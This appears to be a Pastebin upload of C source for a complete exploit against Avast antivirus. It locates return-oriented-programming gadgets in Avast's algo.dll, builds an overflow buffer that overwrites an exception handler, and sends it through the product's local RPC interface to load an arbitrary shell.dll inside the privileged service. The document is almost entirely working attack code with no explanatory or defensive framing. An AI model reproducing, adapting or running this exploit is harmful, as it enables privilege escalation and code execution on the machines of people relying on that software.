Data hosted with ♥ by Pastebin.com - Download Raw - See Original
  1. #include "dollhouse.h"
  2.  
  3. #pragma comment( lib, "advapi32" )
  4. #pragma comment( lib, "rpcrt4.lib" )
  5.  
  6. void __RPC_FAR * __RPC_USER midl_user_allocate( size_t cBytes )
  7. {
  8.     return ( ( void __RPC_FAR * )LocalAlloc( LPTR, cBytes ) );
  9. }
  10.  
  11. void __RPC_USER midl_user_free( void __RPC_FAR * p )
  12. {
  13.     LocalFree( p );
  14. }
  15.  
  16. static GADGET_LOCATION g_GadgetLocations[] = {
  17.     { { 0x81, 0xc4, 0x18, 0x08, 0x00, 0x00, 0xc3 }, 7, 0 }, //add esp,818h & retn
  18.     { { 0x95, 0xc3 }, 2, 0 }, //xchg eax,ebp & retn
  19.     { { 0x59, 0xc3 }, 2, 0 }, //pop ecx & retn
  20.     { { 0x2b, 0xc1, 0x5b, 0xc3 }, 4, 0 }, //sub eax,ecx & pop ebx & retn
  21.     { { 0x96, 0xc3 }, 2, 0 }, //xchg eax,esi & retn
  22.     { { 0xb8, 0x90, 0x00, 0x00, 0x00, 0xc3 }, 6, 0 }, //mov eax,90h & retn
  23.     { { 0x5d, 0xc3 }, 2, 0 }, // pop ebp & retn
  24.     { { 0x83, 0xc4, 0x0c, 0x5e, 0x5d, 0x5f, 0x5b, 0x83, 0xc4, 0x08, 0xc2, 0x14, 0x00 }, 13, -8 }, //call _memcpy sequence
  25.     { { 0x58, 0xc3 }, 2, 0 }, //pop eax & retn
  26.     { { 0x55, 0xff, 0xd0, 0x0f, 0xb6, 0xc0 }, 6, 0 }, //push ebp & call eax & movzx eax,al & ...
  27. };
  28. static DWORD_PTR g_dwpDataAddress = 0;
  29.  
  30. #ifdef UNICODE
  31. #define LOADLIBRARY "LoadLibraryW"
  32. #else
  33. #define LOADLIBRARY "LoadLibraryA"
  34. #endif
  35.  
  36. PBYTE memmem( PBYTE haystack, SIZE_T hlen, PBYTE needle, SIZE_T nlen )
  37. {
  38.     BYTE needle_first;
  39.     PBYTE p = haystack;
  40.     SIZE_T plen = hlen;
  41.  
  42.     if ( !nlen )
  43.         return NULL;
  44.  
  45.     needle_first = *needle;
  46.  
  47.     while ( plen >= nlen && ( p = memchr( p, needle_first, plen - nlen + 1 ) ) )
  48.     {
  49.         if ( !memcmp( p, needle, nlen ) )
  50.             return p;
  51.  
  52.         p++;
  53.         plen = hlen - ( p - haystack );
  54.     }
  55.  
  56.     return NULL;
  57. }
  58.  
  59. BOOL GetSectionInfo( PBYTE pModule, PBYTE szSectionName, PBYTE *ppSection, PDWORD pdwSectionSize )
  60. {
  61.     PIMAGE_DOS_HEADER pDOSHeader;
  62.     PIMAGE_NT_HEADERS pNTHeaders;
  63.     PIMAGE_OPTIONAL_HEADER pOptionalHeader;
  64.     PIMAGE_SECTION_HEADER pSectionHeader;
  65.     UINT i;
  66.  
  67.     *ppSection = NULL;
  68.     *pdwSectionSize = 0;
  69.  
  70.     pDOSHeader = ( PIMAGE_DOS_HEADER )pModule;
  71.     if ( IMAGE_DOS_SIGNATURE != pDOSHeader->e_magic )
  72.         return FALSE;
  73.     pNTHeaders = ( PIMAGE_NT_HEADERS )( pModule + pDOSHeader->e_lfanew );
  74.     if ( IMAGE_NT_SIGNATURE != pNTHeaders->Signature )
  75.         return FALSE;
  76.     pOptionalHeader = ( PIMAGE_OPTIONAL_HEADER )( &pNTHeaders->OptionalHeader );
  77.     if ( IMAGE_NT_OPTIONAL_HDR_MAGIC != pOptionalHeader->Magic )
  78.         return FALSE;
  79.     pSectionHeader = ( PIMAGE_SECTION_HEADER )( ( PBYTE )pOptionalHeader + pNTHeaders->FileHeader.SizeOfOptionalHeader );
  80.     for ( i = 0; i < pNTHeaders->FileHeader.NumberOfSections; i++, pSectionHeader++ )
  81.     {
  82.         if ( strcmp( pSectionHeader->Name, szSectionName ) == 0 )
  83.         {
  84.             DWORD dwSize = pSectionHeader->Misc.VirtualSize;
  85.  
  86.             if ( dwSize % pOptionalHeader->SectionAlignment != 0 )
  87.                 dwSize += pOptionalHeader->SectionAlignment - ( dwSize % pOptionalHeader->SectionAlignment );
  88.             *ppSection = pModule + pSectionHeader->VirtualAddress;
  89.             *pdwSectionSize = dwSize;
  90.             _tprintf( _T( "[?] %S: 0x%08Ix 0x%08x\n" ), pSectionHeader->Name, *ppSection, *pdwSectionSize );
  91.  
  92.             return TRUE;
  93.         }
  94.     }
  95.  
  96.     return FALSE;
  97. }
  98.  
  99. BOOL FindAndProcessAlgoDotDll( VOID )
  100. {
  101.     PBYTE pModule, p;
  102.     PBYTE pTextSection, pDataSection;
  103.     DWORD dwTextSectionSize, dwDataSectionSize, dwDataSize, dwType = REG_SZ;
  104.     UINT i;
  105.     LONG lError;
  106.     HKEY hkAvast;
  107.     TCHAR szDefsPath[MAX_PATH], szAswDefsIni[MAX_PATH], szLatest[MAX_PATH];
  108.  
  109.     ZeroMemory( szDefsPath, sizeof( szDefsPath ) );
  110.     ZeroMemory( szAswDefsIni, sizeof( szAswDefsIni ) );
  111.     ZeroMemory( szLatest, sizeof( szLatest ) );
  112.  
  113.     lError = RegOpenKeyEx( HKEY_LOCAL_MACHINE, _T( "SOFTWARE\\AVAST Software\\Avast" ), 0, KEY_READ, &hkAvast );
  114.     if ( ERROR_SUCCESS != lError )
  115.     {
  116.         _tprintf( _T( "[-] RegOpenKeyEx() failed (0x%08x)\n" ), lError );
  117.         return FALSE;
  118.     }
  119.     dwDataSize = sizeof( szDefsPath );
  120.     lError = RegQueryValueEx( hkAvast, _T( "ProgramFolder" ), 0, &dwType, ( PBYTE )szDefsPath, &dwDataSize );
  121.     RegCloseKey( hkAvast );
  122.     if ( ERROR_SUCCESS != lError )
  123.     {
  124.         _tprintf( _T( "[-] RegQueryValueEx() failed (0x%08x)\n" ), lError );
  125.         return FALSE;
  126.     }
  127.     if ( S_OK != StringCchCat( szDefsPath, _countof( szDefsPath ), _T( "\\defs\\" ) ) )
  128.         return FALSE;
  129.     if ( S_OK != StringCchCopy( szAswDefsIni, _countof( szAswDefsIni ), szDefsPath ) )
  130.         return FALSE;
  131.     if ( S_OK != StringCchCat( szAswDefsIni, _countof( szAswDefsIni ), _T( "aswdefs.ini" ) ) )
  132.         return FALSE;
  133.     GetPrivateProfileString( _T( "Definitions" ), _T( "Latest" ), NULL, szLatest, _countof( szLatest ), szAswDefsIni );
  134.     if ( S_OK != StringCchCat( szDefsPath, _countof( szDefsPath ), szLatest ) )
  135.         return FALSE;
  136.     if ( S_OK != StringCchCat( szDefsPath, _countof( szDefsPath ), _T( "\\algo.dll" ) ) )
  137.         return FALSE;
  138.     pModule = ( PBYTE )LoadLibraryEx( szDefsPath, NULL, DONT_RESOLVE_DLL_REFERENCES );
  139.     if ( NULL == pModule )
  140.     {
  141.         _tprintf( _T( "[-] LoadLibraryEx() failed (0x%08x)\n" ), GetLastError() );
  142.         return FALSE;
  143.     }
  144.     _tprintf( _T( "[+] '%s' loaded!\n" ), szDefsPath );
  145.     if ( FALSE == GetSectionInfo( pModule, ".data", &pDataSection, &dwDataSectionSize ) )
  146.     {
  147.         _tprintf( _T( "[-] .data section not found\n" ) );
  148.         return FALSE;
  149.     }
  150.     //enough room at the end of the .data section of algo.dll to store MAX_PATH TCHARs
  151.     g_dwpDataAddress = ( DWORD_PTR )pDataSection + dwDataSectionSize - ( MAX_PATH * sizeof( TCHAR ) );
  152.     _tprintf( _T( "[?] g_dwpDataAddress = 0x%Ix\n" ), g_dwpDataAddress );
  153.     if ( FALSE == GetSectionInfo( pModule, ".text", &pTextSection, &dwTextSectionSize ) )
  154.     {
  155.         _tprintf( _T( "[-] .text section not found\n" ) );
  156.         return FALSE;
  157.     }
  158.     for ( i = 0; i < _countof( g_GadgetLocations ); i++ )
  159.     {
  160.         p = memmem( pTextSection, dwTextSectionSize, g_GadgetLocations[i].pByteSequence, g_GadgetLocations[i].dwByteSequenceLength );
  161.         if ( NULL == p )
  162.         {
  163.             _tprintf( _T( "[-] Gadget %d not found\n" ), i );
  164.             return FALSE;
  165.         }
  166.         g_GadgetLocations[i].dwpLocation += ( DWORD_PTR )p;
  167.         _tprintf( _T( "[?] g_GadgetLocations[%d].dwpLocation = 0x%Ix\n" ), i, g_GadgetLocations[i].dwpLocation );
  168.     }
  169.     _tprintf( _T( "[+] All gadgets were located successfully\n" ) );
  170.  
  171.     return TRUE;
  172. }
  173.  
  174.  
  175. int _tmain( int argc, TCHAR *argv[] )
  176. {
  177.     RPC_STATUS RpcStatus;
  178.     TCHAR *StringBinding = NULL;
  179.     RPC_BINDING_HANDLE RpcBindingHandle = NULL;
  180.     LONG lResult;
  181.     PBYTE pbBuffer = NULL;
  182.     INT i;
  183.     TCHAR szShellDll[MAX_PATH];
  184.  
  185.     ZeroMemory( szShellDll, sizeof( szShellDll ) );
  186.     GetCurrentDirectory( MAX_PATH, szShellDll );
  187.     if ( S_OK != StringCchCat( szShellDll, MAX_PATH, _T( "\\shell.dll" ) ) )
  188.         return 0;
  189.     if ( ( _tcslen( szShellDll ) * sizeof( TCHAR ) ) > 0x90 )
  190.     {
  191.         _tprintf( _T( "[-] Path to shell.dll is too long!\n" ) );
  192.         return 0;
  193.     }
  194.     if ( 2 != argc || 0 != _tcsicmp( argv[1], _T( "run" ) ) )
  195.     {
  196.         LoadLibrary( szShellDll );
  197.         return 0;
  198.     }
  199.  
  200.     /* locate algo.dll and load the gadgets */
  201.     if ( FALSE == FindAndProcessAlgoDotDll() )
  202.         return 0;
  203.  
  204.     /* connect to the endpoint */
  205.     RpcStatus = RpcStringBindingCompose( _T( "908d4c23-138f-4ac5-af4a-08584ae7c67b" ),
  206.                                          _T( "ncalrpc" ),
  207.                                          NULL,
  208.                                          _T( "[Aavm]" ),
  209.                                          NULL,
  210.                                          &StringBinding );
  211.     if ( RPC_S_OK != RpcStatus )
  212.     {
  213.         _tprintf( _T( "[-] RpcStringBindingCompose() failed (0x%08x)\n" ), RpcStatus );
  214.         goto CleanUp;
  215.     }
  216.     _tprintf( _T( "[?] %s\n" ), StringBinding );
  217.     RpcStatus = RpcBindingFromStringBinding( StringBinding, &RpcBindingHandle );
  218.     if ( RPC_S_OK != RpcStatus )
  219.     {
  220.         _tprintf( _T( "[-] RpcBindingFromStringBinding() failed (0x%08x)\n" ), RpcStatus );
  221.         goto CleanUp;
  222.     }
  223.     _tprintf( _T( "[!] Press a key to continue...\n" ) );
  224.     _getwch();
  225.  
  226.     /* build the overflow buffer */
  227.     pbBuffer = ( PBYTE )LocalAlloc( LPTR, 0x10000 );
  228.     if ( NULL == pbBuffer )
  229.     {
  230.         _tprintf( _T( "[-] LocalAlloc() failed (0x%08x)\n" ), GetLastError() );
  231.         return 0;
  232.     }
  233.     FillMemory( pbBuffer, 0x1000, 'A' );
  234.  
  235.     *( DWORD_PTR * )( &pbBuffer[0x354] ) = ( DWORD_PTR )0xffffffff;          //SEH
  236.     *( DWORD_PTR * )( &pbBuffer[0x358] ) = g_GadgetLocations[0].dwpLocation; //add esp,818 & retn
  237.  
  238.     *( DWORD_PTR * )( &pbBuffer[0x20c] ) = g_GadgetLocations[1].dwpLocation; // xchg eax,ebp & retn
  239.     *( DWORD_PTR * )( &pbBuffer[0x210] ) = g_GadgetLocations[2].dwpLocation; // pop ecx & retn
  240.     *( DWORD_PTR * )( &pbBuffer[0x214] ) = ( DWORD_PTR )0xfffffc24; //ecx
  241.     *( DWORD_PTR * )( &pbBuffer[0x218] ) = g_GadgetLocations[3].dwpLocation; //sub eax,ecx & pop ebx & retn
  242.     *( DWORD_PTR * )( &pbBuffer[0x220] ) = g_GadgetLocations[4].dwpLocation; //xchg eax,esi & retn
  243.     *( DWORD_PTR * )( &pbBuffer[0x224] ) = g_GadgetLocations[5].dwpLocation; //mov eax,90h & retn
  244.     *( DWORD_PTR * )( &pbBuffer[0x228] ) = g_GadgetLocations[6].dwpLocation; //pop ebp & retn
  245.     *( DWORD_PTR * )( &pbBuffer[0x22c] ) = g_dwpDataAddress; //ebp
  246.     *( DWORD_PTR * )( &pbBuffer[0x230] ) = g_GadgetLocations[7].dwpLocation; //call _memcpy sequence
  247.     *( DWORD_PTR * )( &pbBuffer[0x238] ) = g_dwpDataAddress; //ebp
  248.     *( DWORD_PTR * )( &pbBuffer[0x24c] ) = g_GadgetLocations[8].dwpLocation;//pop eax & retn
  249.     *( DWORD_PTR * )( &pbBuffer[0x264] ) = ( DWORD_PTR )GetProcAddress( GetModuleHandle( _T( "kernel32" ) ), LOADLIBRARY ); //eax
  250.     *( DWORD_PTR * )( &pbBuffer[0x268] ) = g_GadgetLocations[9].dwpLocation; //push ebp & call eax & movzx eax,al & ...
  251.     *( DWORD_PTR * )( &pbBuffer[0x288] ) = ( DWORD_PTR )GetProcAddress( GetModuleHandle( _T( "kernel32" ) ), "ExitProcess" ); //clean exit
  252.  
  253.     /* trigger the exploit */
  254.     RpcTryExcept
  255.     {
  256.         lResult = RpcStartRescueDiscCreate( RpcBindingHandle,
  257.                                             L"{7F59730D-9215-4C91-B348-50E6E7DB0587}",
  258.                                             0,
  259.                                             szShellDll,
  260.                                             0,
  261.                                             ( PWCHAR )pbBuffer,
  262.                                             0 );
  263.         _tprintf( _T( "[!] RpcStartRescueDiscCreate() returned 0x%08x\n" ), lResult );
  264.     }
  265.     RpcExcept( 1 )
  266.     {
  267.         if ( 0x6be == RpcExceptionCode() )
  268.             _tprintf( _T( "[+] Check your Interactive Services Detection window!\n" ) );
  269.         else
  270.             _tprintf( _T( "[-] An RPC exception has occurred (0x%08x)\n" ), RpcExceptionCode() );
  271.     }
  272.     RpcEndExcept
  273.  
  274. CleanUp:
  275.  
  276.     if ( NULL != RpcBindingHandle )
  277.     {
  278.         RpcBindingFree( &RpcBindingHandle );
  279.     }
  280.     if ( NULL != StringBinding )
  281.     {
  282.         RpcStringFree( &StringBinding );
  283.     }
  284.     if ( NULL != pbBuffer )
  285.     {
  286.         LocalFree( pbBuffer );
  287.     }
  288.  
  289.     return 0;
  290. }